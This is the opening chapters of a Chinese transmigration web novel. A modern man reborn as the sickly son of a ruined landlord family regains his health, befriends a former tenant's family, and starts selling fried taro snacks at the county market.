《落魄地主家的病弱儿子》
1. 醒来
都说陈家这些年不知道是走了什么霉运,偌大的家底如今连个子都不剩。
想当初陈家山地良田近千亩,住的青砖大瓦房,听里面的佣人说家具都是樟木雕刻,顿顿都吃白米配山珍。
陈老爷还是个心善的,从不打压手地下讨生活的佃户平日周边发生个小灾小难都会搭把手。
就是陈老爷子嗣单薄,娶了两房小妾都没有生下一儿半女,,带着妻子林氏寻医问药,求神拜佛,将将在不惑之年得一子,那知这孩子生来就得了多病木讷,好几次差点没救过来,孱弱得很。
后来陈老爷也病了,家里田地百亩百亩的卖出去,,当时长溪村村民可都吓坏了,生怕自己得个什么不治之症来,自己家那几亩地不够卖的。
陈老爷死后,两个小妾跑了,佣人丫头们跑的跑,没跑的也放走了。
陈夫人独自带着病弱儿子过活,陈家那些旁支隔三差五就来这娘俩手里刨食,日子一落千丈。
年前大雪封村,封了一月有余,林氏冒着雪去给儿子拿药,本就五十好几的人,又郁结于心,这一冻,可不就出了事,当天夜里就没气了。
真是造孽——
长溪村是个杂姓大村,村中大多都是土坯瓦房,此时村里炊烟袅袅,家家户户饭香四溢,这边儿属于江南水乡,主要吃食以大米为主。当然是不能顿顿吃细粮的,秋收的粮食拿到县上去可以换两三倍的糙米,一家人都能混个肚饱。
两个妇人正在门口折菜,抬起头来刚好可以隔着几个小山坡看见陈家的屋顶,
“哎~也不知道这陈家的小子好些没有?”,
“过年那天我还见他去给她爹娘上坟。脸色白得很,这都两个多月了,也不见着出门……”。剩下的话只言于心,两人言语之间全是惋惜。
此时的陈家儿子裹着棉被缩在床上,想着这都要入春了怎么还这么冷。
胸口堵得慌,嗓子眼仿佛有什么在挠,忍不住想要咳嗽,这一咳就停不下来,仿佛要把五脏六腑咳出来。咳到眼泪都出来才踉踉跄跄的爬起来喝口水,
“我怎么还不回去”不知他多少次说这句话,不想活了
陈秋树不是这个世界的人他是穿越过来的穿越之前他是一个三十岁的农村小老板。农业大学毕业后,又跟着村里的师傅学种了好几年树。二十五岁县城里开了个水果批发公司,村里还有一片果园,谁知道过三十生日时,喝高了直接晕在了酒吧。
三天前就在这床上醒来,然后接收了原身的全部记忆,
原身被爹娘护得太好,除了在家里死读书,几乎两耳不闻窗外事,经此一劫,天都塌了,
他知道原身是真的不想活了,气若游丝的躺了两天就咽了气。
然后他就来了,刚醒时搞不清楚状况,饿得眼冒金星,撑着身子找了两个生红薯啃完喝了水才算是缓了过来。
然后他就开始绝食等死,咳得受不了了才起来喝口水,不是说他不能接受这个家,这瘦死的骆驼还比马大呢?
他是接受不了这副身体,真的三天一小病五天一大病,一年四季嘴巴里都是药渣的苦味儿,从小到大就没怎么出过门,冷风一吹就要病给别人看。主要是还有肺炎,这古代叫肺痨,治不好的,这换谁谁受得了。
等死吧,说不定眼睛一闭还能回去。
——
傍晚,天色暗了下来,没点灯的屋子里朦朦胧胧,窗外投进来的光影照着床前男人的脸上,让本就毫无血色的脸色更显得苍白。
他把手抵在唇边,想把喉咙里的那股痒意压下去,轻微的咳了几声后才叹了口气起身走出了里屋。算了,天不救人,人自救。
陈家的屋子倒是很整齐,屋顶做了房梁,地上铺了青石板,窗户都是精致的雕花窗边,就是偌大的屋子没有几件家具,显得整个屋子空空荡荡。
他一路来到灶房,墙角摆着一筐芋头一筐红薯,米缸里还有小半缸糙米,两三个陶罐的咸菜和地上几个阉掉的萝卜。,都是原身娘生前准备过冬的粮食。
抓了一把米放在装了水的锅里,切了个红薯丢进去,盖上盖子。自己坐在灶下生火,
暖黄的火光驱走了身上的冷意,无事可做的他想起原主一家,不免一声叹息,真是世事难料,。原主就不说了,这原主的爹病来得蹊跷,从记忆来看,一个身强体壮的人突然就就不行了,竟是药石无医。
也可能是什么疑难杂症,医疗不发达,治不了,就像是原生这肺炎,在现代也就是小事一件。
糙米红薯粥看着卖相不错,就是有点不好吃,这米的壳儿没去干净。但好歹是热呼的,一碗吃完,又擦了个热水澡,才感觉身上舒坦一点,。
下了场春雨,,陈秋树没有出门,把剩下的药熬来喝了几天才感觉胸口没有了那种沉闷感,呼吸都通顺了不少。
接下来该的日子该怎么过,他一直在思考这个问题,
考科举入仕途,他不喜欢文科,,。打仗,还是算了……
。
天空终于放晴,淋过雨的田地变得松软,家家户户开始忙着下春种,不少人在田地里忙碌。处处都是聊天说笑声,十分热闹。
陈秋树来到这里就自己一人在这房里吃了睡,睡了吃。
现在总算是又重新感受到了人间的烟火气。长长的吐了一口气,身心都舒畅了起来。
一路上接受着别人都注目礼,来到了陈家的田地。
如今家里还有二亩水田,二亩旱和一块坡地,是当初母亲拼死留下的一点田产,悍地里面种着萝卜和葵菜,。
坡地里种着的是一片李子,现在正星星点点发这许多花苞,马上就要开花了。
这里叫做酸果,味道酸苦,没什么人吃,好像是原身的祖母喜欢,才种下这些李树。
这个发现让他有小惊喜,凑过去闻了一下哪些花苞,仿佛已经都能嗅到了阵阵花香。这玩意拌点辣椒很有风味,一些有孕的妇人也十分喜欢。
看完田产,他高高兴兴的往回走,长溪村是个富裕村子,这些东西在村里也就是垫个底儿,但养他一个人足够了。
“少爷?”
听见耳熟的声音,陈秋树正准备打开院门的手一顿,。
回头见一个面色苍老,皮肤黝黑,佝偻着背的男人朝他迎面走来,步履匆匆,手里牵着一个三四岁面黄肌瘦的男孩。
“王叔?”陈秋树不确定的问
“您这是去哪了,我让冬子来看您,他回去说,门开着,人没了,您可千万别想不开啊!”话语因为急切而说得颠三倒四。
这人是叫王贵是陈家曾经的佃户,和其他佃户不同的是,陈秋树十二岁时在外面时吃东西噎到,当时脸色都青了,小斯们急坏了,个个跟无头苍蝇一样毫无办法,是这人把他倒过来又拍又扣,把嘴里的东西吐出来才捡回一
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命。
后来陈家赏了他二十两银子,每年秋收也会给他多分些粮食。
陈家出事后,他没有离开长溪村另寻东家,而是在村里买了一亩旱地和二亩水田,,时不时的帮陈家干些农活,看顾一二。
“没事就好,没事就好”,王贵就担心这孩子想不开随他娘去了,见着人好端端的在这里,也就放心了,
“王叔,有什么事吗?”
“没事,没事,我就是过来看看,您没事了我就放心了”
“我没事,今天天气不错,我出去随便看看”
“出去好啊,是应该出来走走,您看您多久都没出门的?这出来晒晒太阳,身子都爽快了不少”
王贵还记得陈夫人出事那会,这孩子同断线的木偶,没有生气,他就担心拍这娃挺不过去,现在好了,人好好的。这世界上哪有什么过去的坎。
陈秋树笑笑,没有再开口
“你看我,光顾着说话了”王贵这才想起什么,把手里的篮子递给陈秋树。
里面是十几个鸡蛋。香喷喷,想吃炒鸡蛋,又看了看小孩,陈秋树有点不好意思,客气的推让了几下,“这不好吧,您还是拿回家给孩子吃”
“家里养了鸡,有得吃,您身体刚好得吃点补补”说着生怕陈秋树推回来,拉这孩子离开了,
“谢谢王叔”看着人走远,陈秋树才转身开门进院。
空气中弥漫着独属于春天的花香,阳光撒在身上暖洋洋,陈秋树在村子里过了几天吃饱混天黑的日子。和村里的人熟悉了不少,晃到田里时还有个热心的婶子给了他一把菜种。
他兴冲冲的跑回家拿了工具打算把种子种到那边萝卜地里,谁知道这副身体底子太弱,举着锄头还没挖出几个坑就累得直喘气,双脚发软,两眼发黑,一屁股坐在田坎上缓了好久才好过来。
陈秋树:怀疑人生……
,
两个妇人路过看他坐在哪里脸色发白,走过来关心几句,“哎呦,陈家小子,你这是咋了,,”
杨婶“你看你,不舒服,就在家里歇,这事儿总做不完的,”
“我没事,杨婶,我这不是好久没做了吗,出来试试”陈秋树抬起头来摆摆手,做出一副我很好的架势。
杨婶“哎呦,还逞强,你这细胳膊细腿,这地里的活计能干啥”
陈秋树:……
杨婶:“依我看,你还是得找个媳妇,成了亲也有个人操持家里事,”这么说着她心思活络起来,
陈家虽然出了事,不也还有那么大个宅子,在说这陈家小儿子,长得可真稀罕,村子里就没见过这么俊的后生。
杨婶:“陈家小子,你知道老许家小闺女不”
陈秋树顿感不妙讪讪开“婶子您别打趣我了,我这身体村里人都知道,哪个姑娘愿意过来守寡”
杨婶子拍了他一下,“你小子说什么浑话呢”
杨婶“我跟你说,这姑娘可好了,好看,勤快,干起活来一个顶俩……就你那几亩地,肯定是给你收拾得规规整整的,”
陈秋树见两人没有挺下来的意思,甚至还愉讲愉烈,赶紧打断
“二位婶,小子真不想祸害人菇凉,您是回去做午饭吧,赶紧回吧,我叔该回去吃饭了”
杨婶“婶子这是为你好,你看你一上午就挖了这两个坑……”
陈秋树:无言以对,心里流泪……
2. 第 2 章去县城
不过想想也是,他这副模样要靠自己种地养活自己还真是有难度,找人做,又没钱。
找个老婆养自己,那更不行,真男人怎么能做出这种事,而且他的地也只够他一个人吃。
想到这些陈秋树打起精神来,直到太阳下山总算是把种子撒了下去,
他弯着腰咳了好一会才扛着锄头踩着夕阳慢悠悠走回家。
在地里做着事他还不觉得有什么,这会儿感觉腰酸背痛,特别是手臂的肌肉,真叫一个酸爽。
一个人吃饭也懒得做菜,把上午剩下的红薯粥热了,又煮了一个鸡蛋,当晚饭吃。
这些天他上顿红薯下顿红薯,现在他感觉自己都快要变成红薯了,嘴里淡出了鸟味,还是王贵叔送的拿几个鸡蛋才添了道像样的菜。
他一边喝着粥一边在想,还是得赚钱,家里的余粮不多了,何况还得改善一下伙食,自己还要吃药.。
一个大男人,要是把自己养得面黄肌瘦营养不良那也太窝囊了。
但是干什么呢,自己最擅长的就是种果树,可这不现实,大多果树从树苗到结果最快需要三年,那这三年岂不是要喝西北风,何况他除了那些李子外并没有在长溪村发现有其他的树种。
一碗粥见了底,想来想去也没有想出个一二三来,最后还是决定挑个好天气去平阳县看看能不能先找个活计。
正要走出灶房突然瞥见的墙角的那一筐土豆,头上仿佛冒出了个小灯泡。
翌日,陈秋树早早就起来了,顺便收拾收拾就出了门,要是去晚了就要错过村里的牛车。
赶牛车的是村里的刘叔,一天跑两个来回,早上要去县里的人就在村口集合,两文钱一个人。
有点冷,陈秋树裹了裹身上的外衫,阳光透过淡淡的的雾气照在山间一阵风吹来枝头的嫩叶沙沙作响。
村口的牛车上已经坐着不少人,都是拿些东西去早市上卖。
“咦,这不是秋树吗?,快上来快上来,怎的来得这么晚,,快上来,就差你一个了”说话的正是那天在地里叫陈秋树娶媳妇的杨婶,看见他过来,热情的打了招呼。
杨婶见他两手空空问道“我说秋树,你这是去县里买药吧,嗨~你要是不方便下次让你杨叔给你捎回来,顺便的事”
杨婶家也是有牛车的,家里做豆腐他男人每天赶着牛车在这十里八村走街串巷的卖豆腐。
“谢了婶,,我就是出去看看热闹”
“当自己还是少爷呢,地里的草都快有我家金宝高了,还有时间瞎逛,怕不是来年要喝西北风”坐在最里面的一个妇人边说边给身旁的小孩喂鸡蛋,语气里全是不屑。旁边的的小孩口齿不清的说
“奶奶这就是你说的小病捞子?‘’
杨婶见不得李香琴那副看不起人的样子,“我说李香琴,你这人还真是管天管地管别人拉屎放屁,没事做好好管管你孙子,免得大了被别人拔了舌头”
车上一阵轰笑
“你吼啥,大实话还不让人说了”李香琴朝这边翻了个白眼
对于这种人,陈秋树是不带怵的直接开口“我要是去喝西北风还不是因为你李大娘”
李香琴一听这话,急了,心想这跟我有什么关系“你别在这儿胡说八道,你吃什么关我屁事”
“对呀,我去哪里关你屁事”
这下谁都不说话了,
长溪村到平阳县坐牛车要一个时辰,一路摇摇晃晃,晃得他头晕眼花,坐位下的木板咯得他屁股疼。
平阳县是位于元朝南边的一个小县城,青石板铺成的街道两边茶楼食肆,当铺,作坊。道路两边还有不少撑着油纸伞的各种摊位,数不胜数,十分热闹。
陈秋树从街头走到街尾,把这些茶楼食肆都挨家挨户的看了个遍,倒是发现几家招小二的,那可太累了,干不了。
一路看下来都没有找合适的事,总之就是高不成低不就。转来转去就来到了西边的早市
这里的早市就有点像菜市场,热闹得很,周边的村里会把家里的,蔬菜,鸡蛋拿到这里来卖,摊位没有主街上那样规范,都是来得早的占据个好位置,来得晚都就只能在角角落落,
几个篮子往地上一摆就可以开摊。两边还有许多粮油,杂货店。
陈秋树走进一家卖调料的杂货店选了些自己想要的调料,一把面条和十斤精米,反正哪个糙米他是一顿都不想吃了,拉嗓子眼疼。
提着东西出来,又去了一趟药铺买了几幅药,一上午就把力气耗了个精光,感觉身体被掏空,他也不想再继续逛了,反正兜里的钱差不多已经干净了。
时辰还早,刘叔应该还没回去,陈秋树干脆去进县城的路口等刘叔,要是错过,就得等晚上那一趟或是自己走那几里地回去。那不是要了他的命。
城门口那颗长得郁郁葱葱的大槐树下几辆牛车停在哪里,都是周边村子的赶牛车的叔伯,几人在哪里谈天说地,老牛们低头吃着嫩草,倒是惬意得很。
刘叔见着他过来,手里大包小包提得吃力,也没个背篓什么的,赶紧给他接过来放到牛车上。
对此其他几人见怪不怪,毕竟这十里八村都知道很久以前陈家是富裕人家,家里有个病秧子儿子。
陈秋树挑了块干净的石头坐下,听这些阿叔们絮絮叨叨的聊天,无非就是说庄稼那些事儿,一会说去年谁家的稻子比谁家的多几石,谁家把田地照顾得特别好,总之听着特别有趣。
过了一会还来了个少年,这少年是隔壁村赶牛车的阿叔家儿子,长得一身正气,浓眉大眼,陈秋树突然想到他在网上看到的一段话,眼神清澈得像一个大学生。
“阿青,成了吗?”一个大叔把少年拉到身边,急切的问,这两父子长得七八分像
“爹,哪会那么快,只是报了名,成不成还得过两天看”
从两人都谈话中,陈秋树得知,这少年跟他一样是来县里找活计的,
他才知道原来平阳县衙役里有专门管这一块的街道司,想招伙计的东家和想找事做的百姓,双方一一登记信息,衙役从中牵线,成事后东家需付一些报酬。
听得心里砰砰直跳,这不是瞌睡来了递枕头的好事吗?
他问这位大兄弟位置在哪里。
“就在前面,拐个弯儿就到了”
他请刘叔帮忙看着东西,等他一会。觉得腰也不酸了腿也不疼了,站起来就小跑着去了
。
还好这马上到午时,没有什么人排队,没一会轮就到了他,先给交了十
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文钱的介绍费
管事的衙役问“年方几何,是否识字”
陈秋树:“当今十八,识字”
衙役又问“擅长什么,想做什么”
陈秋树想了想,“会算数,想做个账房”
衙役抬起头来看了他一眼,看他长得清清爽爽,是有点儿书生样,才让人拿了算盘和纸笔过来。
随后又拿了一页纸过来,上面写着:酱焖肘子五十三文,蒜泥白肉三十文,糖醋鱼,三十文,香菇炒白菜十二文,三鲜汤,二十文,桂花酒一罐:二十文,精米饭,二文,五份一道非常普通又简单的加法题,
陈秋树稍微在心里合计一下就得出了答案。
“一百五十个文”
衙役看看桌上算盘又看了看陈秋树,眼里带着审视,他叫边上的一名男子过来算了一遍,,算盘打得噼啪作响。
“一百五十五文‘
管事又拿出一本账本让他找出错处,陈秋树拿着仔细翻看,半盏茶的时间圈出了好几点错处。
衙役拿过去看了一会,在写这陈秋树得那页纸上一一记下。
“可以走了,过五日再来看”
陈秋树以为自己没有用到算盘,必定会遭到一番盘问,,他都还有没大显身手就这样轻飘飘的结束了,
后来想想人家衙役接触的人多了,见多识广,有什么事情没见过。他给两人道了谢就高高兴兴的离开
,
回去的时已经过了饭点,他匆匆忙忙的回到城门口的那颗大树下边,其他村的牛车都已经离开了,刘叔的车上也坐满了人。
走近了还听到有人在嘀嘀咕咕,大概就是说好大面子,这么多人等他,这大中午的,还要不要吃饭。
让人家等着陈秋树也不好意思,他见杨婶坐在他东西旁边而他东西的哪里空着个位置,知道这是杨婶给他看位儿了,心里十分感激,一边说着“抱歉,让大家久等了”一边爬上了车。
给杨婶道谢后,就在她边上坐下,买来的东西就给抱在怀里,
杨婶:“,秋树,你这急急忙忙的是去那了,”
陈秋树实话实说“我去前头衙役那报个名,看能不能在县城里找个事儿,这不才当误了大家,还请大家见谅”
话都这么说了,都乡里乡亲的,这会儿大家都摆摆手,“没事儿,也当误不到一会”
回到长溪村,看了看天估计得是下午一两点,他饿得前胸贴后背,胸口也有些焖,,家里没什么可以做的菜,把买来的面条煮了碗鸡蛋汤面当做午饭。
吃了午饭,又吧买来的药放在灶上慢慢熬,在灶下的灶孔放了一截干柴吊着不让他息灭。
他有心想去捣腾捣腾那块草比人高的水田,奈何身体状况不允许。
随便收拾了一下,就躺在床上休息,天大地大,身体最大,真是累死他的身体了,别问,问就是,心体不一。
一觉睡醒,太阳已经西斜,橙黄的阳光透过窗户刚好可以照在床上。陈秋树套上外衫,把被子抖了抖,在阳光的照耀下浮起的粉尘看得一清二楚,心想,这被子该好好洗洗晒晒了。
灶房的门没有关,从屋里走出来,中药的气味扑面而来,钻进鼻息,真苦,整个院子都是都云绕着这股苦涩的味道
3. 初遇
三碗水熬成一碗的量,黑呼呼的全是精华,这是温补的药,清火润肺,喝了能少些咳嗽,陈秋树捏着鼻子给自己罐了一碗,眉头都皱了起来。
他这会儿才想起来早上买的那堆调料,赶紧去把拿他那出来整整齐齐的摆在灶台上,怎么会买这些东西还得从地上那框芋头说起,
他本人是不太爱吃芋头的,但是上辈子他奶奶喜欢吃,他爷就种一整块地的芋头,恨不得天天当饭吃,那时候他不想吃就说是挑食,说以前没饭吃,这东西不知道养活了多少人,现在的人生活好了就开始嫌这嫌那。
虽然不爱吃但他知道一种芋头做的吃食,芋头蒸熟后,捏成丸子油炸,用调料拌一拌,他记得那时候挺多的人喜欢这种街边小吃。
家里的这些吃不完,他打算拿到县城去卖,至于怎么过去,他也已经想好了,他自己不行,别人行,他可以请王贵叔家帮忙,
这么想着也不耽搁,拿了一包买来的甜糕就出了门,毕竟上次收了人家的鸡蛋,也不好空手上门不是。
王贵家住得偏,要到村尾山脚下那头去,,他家是十几年前从北边逃难过来的,一直在陈家当佃户,是后来救了陈秋树得了二十两银子,才在村子里置办了田地。
下了主路还要走一段小路,小路弯弯曲曲,两边长了杂草,能看见的也就是脚底下的这三分地,他每一步都走得认认真真,怕一个不小心撅田里去了。
走在前面的还有一人,不知道是谁,因为这人背上背着满满的一背篓东西,这篓子特别大,有点像他爷爷背干草的那种篓子,因为干草重量轻,篓子做大些装得多。
让陈秋树不可思议的是这哥们装的可不是什么干草,透过竹篓的缝隙可以看见里面是一背篓的春笋,如此这也就算了,可这笋上面是一大捆干柴!把前面的人遮了个严严实实,
这人就这样背着这些东西走在前面,比起他这个两手空空的的人走起开还要稳上几分。
他亦步亦趋的跟在后面,替人捏汗,心想要是这要是摔了,或是篓子破了,他就见义勇为一把,送他回家。?
……
两人一前一后的走着,两道影子被夕阳拉得长长的。
到了田坎高些的位置,前面的人停了下来,慢慢的曲着腿把后面的背篓放在田坎上,似乎是想要歇口气。
陈秋树是爷爷奶奶带大的,在他的印象里奶奶就是那种拧瓶盖都要喊他爷的人,他爷爷说,奶奶是女人,力气比不得男人,干不得力气活儿
所以当他看见曲着腿靠在田坎上的人时,愣了一下,哪里是什么哥们,分明是个女孩,
她靠在哪里抬起头来,发髻有点儿凌乱,几缕发丝被汗水打湿贴在脸上,眉眼弯弯,脸色通红,
憋着一口气背这么多东西能不红吗?一双手紧紧的抓着肩带,才能使背篓不会往后倒去。整个人瘦瘦小小。
陈秋树难以想象,这样一副小小的身体是如何把那么重的东西背在背上,还能四平八稳的走回家。
片刻后他才开口,“你好,需要帮忙吗?”可以说是非常有礼貌了。
对方没有说话,“摇了摇头”表示自己不需要
许橙知道有人走在后面,故意挺下来让路的。见到陈秋树没有打算先走的意思,就扶着田坎起来又重新走在了前面。只是步伐比刚下快了许多
两人又一前一后的走着,隔了几步远的距离,陈秋树想,既然遇到了,好歹得看着人安全吧,不然怎么能提现出他大好青年的,三好,四美。
没一会就到了王家的小院,他目送背着东西的女孩安全都到达不远处的一所小屋。才放心的扣响了院门,
来开门的是一个王贵的妻子看见来人是陈秋树,被岁月染上痕迹的脸绽出笑来,她招呼着让陈秋树进门,
屋子里王贵听见动静的连忙从屋子里走出来,
“陈少爷,您怎么来了,快进屋坐,外边风大”
“王叔,王婶,你们以后叫我秋树就好,”这一口一个少爷,他真的是习惯不了,而且他现在也不是什么少爷,王家也不是陈家的下人。自然的相处就好。
这个点王家人正准备吃饭,陈秋树受不住邀请也坐了下来心想,是他考虑不周,怎么能在饭点来呢,应该明天再过来的。
并非是一顿饭的原因,陈秋树看了看放在自己面前碗里的东西,和对面王家几口人的一对比,就知道是把粥里的米粒儿都捞给了他,
几个孩子并不在意,都高高兴兴的端着自己的那份喝,就着桌上的一盆菜窝窝和咸菜吃了起来。
陈秋树见几人吃得香,也拿起了一个窝窝头咬了一口,第一个感觉是苦,然后是糙。有点像糠
王贵从灶房里拿了个碗出来,里面是一个煮鸡蛋。
他笑盈盈的说,“也不知道您要过来,家里没什么准备,您将就着吃点,”说着把碗放在了陈秋树桌前
陈秋树见着碗里只有一个鸡蛋,又想带上次王贵叔说蛋都是自己家鸡下的,就随口问了一句“叔,您家不是养了鸡,怎么没给孩子煮两个”
这么问一开始陈秋树不觉得有什么问题。
直到………
“因为鸡鸡一天只下一个蛋哦”,王冬冬就是王家小的儿子刚刚三岁半,他手里拿着一个菜窝窝,仰着脸看陈秋树,两只眼睛亮晶晶的,仿佛在说,我知道,我知道,快夸我。
面对小孩子一副讨表扬的神情,陈秋树只觉得如鲠在喉,想起那十来个鸡蛋,他怎么就收下了呢?说不清心里什么滋味。只觉得堵得慌,他又想咳嗽了。
王婶想过来把小儿子抱开,被陈秋树拦住了,
他把剥好的鸡蛋用筷子碾成几块,分到了三个孩子碗里,
王贵想要说什么,刚刚开口,就听见陈秋树说“孩子还在长身体,得多吃点儿才能长得高”
“会长得跟我爹爹一样高吗?”小孩子都是这样,在他的眼里没有什么能比父亲更加伟岸。
“会的”
陈秋树回答,他把放在口袋里的甜糕拿出来,给三个孩子一人分了一块,把剩下的一包给了王贵婶,“说留着给孩子吃”
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得了甜糕点王冬冬可开心了,叽叽喳喳的说这说那,小嘴叭叭叭不带停的,有小孩在一旁热闹,一顿饭吃下来还算是融洽。
饭后陈秋树才把来王家的目的说出来“王叔,我这次是来有点事想同您说”
王贵一家五口正襟危坐,一副义不容辞的模样
陈秋树笑了笑,“不用那么紧张”
“我幼时在家中厨娘那儿学得一种吃食,这几日想做些拿到县城去卖卖,也好给家中添个进项”
“王叔也知道,我这身子不大好,自己一人怕是不成,”
“所以过来是想问问旭哥儿愿不愿意帮个忙,。”
旭哥儿就是王贵的大儿子,今年十五,年纪小些时在家带妹妹王小妮,后来他娘生小弟伤了身子,王旭就开始随他爹下地干活,也是个勤快的老实人。
王贵一听连连答应,他也不知道是做啥吃的,只知道这是给儿子找了个活干,这就很好,在他的眼里,干什么都比在地里讨生活要强。
陈秋树又看了看王旭,见对方笑得一脸开心相,没有反对的意思,才放下心来。
他叫几人明日过去他家玩,尝尝他做的新吃食。后日就去县城里支个摊。
商量好后,几人又闲聊了几句,见天色不早,陈秋准备告辞回家,
王家夫妻送他到门口,没想到又遇见徬晚见着的女孩,她依旧背着一背篓笋子和干柴,刚好和出了院门的三人撞上,
王婶反应过来,手疾眼快的从她背篓上把那困柴拿下来,“你这孩子,今儿又跑了好几趟吧,怎么背这么多东西”
“没事的,王婶,最后一趟了”
“那也少背点,要是闪着腰了,有得受的”
两人边说边往里头那座屋子走去。
陈秋树忍不住问“这是谁家,怎么让孩子干这些活”
王贵叹了口气说“这你不知道吧,她是许顺财和前头媳妇生的闺女,小时候就和隔壁村的柳家儿子有娃娃亲,”
“这不上个月成亲,那吹锣打鼓的可气派了,就是不知道咋的,当天夜里给跑回来的。
“她后娘怕影响自己闺女名声给赶了出来,说是嫁出去的女儿破出去的水”这也是王贵从他媳妇那里得知,感叹有后娘就有后爹
陈秋树听得一阵唏嘘。认为小小年纪不该有此遭遇。
“这老屋是她亲娘死前找长老做证,给她留的,还有后山那片竹林,这不怕人偷了去,才把那些笋子拔回来”
.“也是个可怜的闺女”
……
,外边已经黑得看不见了。陈秋树熬了点药喝下,洗漱完就上床睡下,
没有电子设备后他的睡眠都变得规律起来,基本就是天黑睡,天亮起。
他闭着眼睛躺在床上,脑海里不自觉想起了那句,“鸡鸡只下一个蛋”,
心里不是滋味。在他的映像里长溪村和周围几个村比起来,日子算是好过的,家家都有十几亩田地,,家里的男人时不时还到县城打短工,一家人可以过得舒舒服服。
4. 摆摊
就是他忘记了王家曾经是个无田无地的佃户,佃户干一年也就刚刚够吃。得了陈家二十两银子就买了三亩地。五口人吃,哪里有多于的粮食喂鸡。
如果他之前想去卖炸芋头,只是因为不喜欢吃,拿去卖试试看。那现在,可以的话,他想给王家人找个营生。
睡前眼前又浮现出背着背篓的女孩,。想起王贵叔说的许家闺女。
陈秋树想,她都能有那样的韧劲,那么,自己是不是也能支棱起来。
……
翌日清晨,陈秋树早早的起来,把被子拆洗了,晒在院子里。
到灶房里面给自己下了碗面,想了想把剩下的四个鸡蛋全给煮了,
一切收拾妥当,才把那一筐芋头拿出来清洗。
过了一会,院子里响起了敲门的声音。
应该的王家的人来了,陈秋树站起来去开门
果然是,几个人挤在门口往里看。
“秋树少爷”
见到陈秋树王冬冬声音奶声奶气打了个招呼,后面的王小妮也怯怯的跟着叫“少爷好”。
王旭倒是没有叫,但看他那样子,也就是那意思。
陈秋树差点没一口老血喷出来,“少爷”两字是过不去了是吧!,你见过身无分文的少爷?。
他招呼人进来后说道“以后不要叫我少爷知道吗,我不是,”
他一把把王冬冬抱起来
“以后要叫我秋树大哥知道不”说着还看了看王旭和王小妮。
三人异口同声说“知道了,秋树大哥”
陈秋树问三人有没有吃饭,把提前泡了凉水的鸡蛋分给了他们。
吃完鸡蛋,几人开始忙忙碌碌,王旭给烧火,陈秋树把蒸好的芋头捏成小圆球,待会好方便炸,
,陈家虽然土地没有了,好歹当初是个富裕人家,厨房里的锅碗瓢盆都齐全得很
过了两个时辰,从地里干活回来的王贵也赶过来。
陈秋树看也不耽搁,叫来王旭烧火。
起锅烧油,往热锅里倒入小半锅清油,旁边的王贵看得暗暗砸舌,谁家炒菜用这么多油。
没一会油就热了,面上的小泡慢慢化开,见状知道可以了,端起滤干水的芋头倒进油锅里,发出次啦的一声。
他用锅铲来回慢慢搅动,直到芋头泛起一层金黄色。
确认熟透了之后就捞起来,倒进提前准备好的调料盆里.。锅里的油并没有少多少用个大碗装起来,还可以炒菜用。
调料里放两勺辣椒粉,,酱油,芝麻,花椒,大蒜末,因为没有孜然,就买了点儿小茴香代替,用热油一泼香味就出来了,炸好的芋头在里面拌一拌,色香味俱全,。
一开始他只是打算随便卖卖,卖完这框芋头就作罢的,所以在调料上没有下多少功夫。
现在既然决定好好做,他打算明天再去县城看看,要是有香菜或者葱花,酸萝卜丁,那就完美了。
上次杨婶儿给他的菜种里面就有小葱,只是现在才刚刚长出了个芽,想吃估计还得要一段时间。
地里还种了番茄,到时候他还能熬个番茄酱来蘸着吃,
王冬冬和王小妮早就等不了,两人站这灶台边眼巴巴的看着盆里的东西。
陈秋树把拌好的土豆分成几碗,还给王冬冬做了一碗没放辣椒的。端上桌后,都招呼大家来尝尝他的手艺。
他自己也端上一小碗,尝了一口,还可以,差了点香菜的味道,其他的和现在的大差不差,作为一道街边小吃足够了。
对于没有吃过什么好东西的王家四口来说,味道是相当可以了,四人都吃得津津有味,王冬冬还要吃他爹碗里的,说辣得好吃。
四人一致认为拿到县城去卖肯定没有问题,于是下午大家就开始为明天的生意做准备,王冬冬也亦步亦趋的跟在后面要帮忙。
陈秋树依旧和王旭在家里处理芋头,王贵听说这东西加上葱花更好吃,就说家里有,回家去拔葱了,陈秋树叫他顺便砍点竹子的枝条过来,到时候做成签子,方便客人插着吃。
这一忙起来时间就过得快,不知不觉天色就暗了下来。
明日要出摊的东西也已经准备齐全,,他在家里找了个铁桶叫王贵叔在下边凿了一个洞,扎了一圈小孔,明天用这个来烧火。
这可给王贵心疼怀了,那可是铁啊,他家还只有一口锅和一把菜刀呢。
晚上王家四人离开后,陈秋树也早早吃了药就睡下,
,第二天是被一阵敲门声惊醒的,他揉了把头发才从床上爬起来,天还没亮,外面漆黑一片。
门外是王贵父子俩。
王旭想着今天要去卖东西,昨天夜里激动得翻来覆去的睡不着,眼看天马上就要亮了,便等不急,急忙忙去把他爹叫醒,收拾妥当后就出门了。
两人来得早,看见陈秋树明显是没有睡好的模样,还有点不好意思。
陈秋树叫王旭先去切葱花,这种东西要现切的才新鲜。
他快速的去洗漱好,又去煮了三碗面,王家两人摇头摆手,连连说自己已经吃过了,他们认为能跟着做事就不错了,那还能吃人家东西。
陈秋树用煮多了,不吃也是倒掉,这种百试百灵的话劝下两人吃下。
他们都是地里抛食的人,那里见得浪费粮食。再说这面条是用猪油拌的,撒上葱花,在煮上几片王贵带过来的菜叶子,别提多香了。
,
天色蒙蒙见亮。三人提着东西,迎着晨曦初露出门了,
陈秋树身体不好,就拿了一个小盆里面放了一袋子调料,其他重物都被陈家父子分着提了,期间王贵还回去拿了一次小桌子,。
来到村口刘叔果然已经那里等着。
他们家里都没有牛车,只能搭刘叔的车去了,因为东西多还多给了两文钱。
原本陈家是有牛车的,只不过后来都卖了,家里倒是还有一个车架子,但是没有牛。
因为三人来早,得到了一个不错的摊位,早市人流量大,这又是新鲜东西,想来应该不愁卖。
快速的把摊位支好,因为铁桶周边和底部都打了一圈出气孔,没两下火就点着了,
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铁锅架上去刚刚好。
又把小桌子搬出来,这是王贵自己用木板钉的,本来打算放家里用来摆些碗碟,如今刚好可以拿来放调料。
周围陆陆续续的也摆了不少摊位,有起得早的人已经出门在馄饨面馆吃上了早饭。
太阳升起,带走了清晨的水气。出来采买的人越来越多,络绎不绝的叫卖声让整个西街都变得热闹起来。
陈秋树把外衫脱下来放在旁边,开始了他的表演,
端起一盆土豆往油锅里一倒,滋啦声响起,热油激起的声音让好奇的人都驻足观看一两眼,有人问这是做什么,没见过芋头这样做的。
他面色不变,一边搅动这锅的土豆,一边笑着回答“外面带来的新做法,待会做好了可以试吃,各位要是不急的可以等一等”
调料都已经按计量在碗里放好,,他从油锅里舀起一勺热油浇下去,一股香辣的味道顿时铺散开来
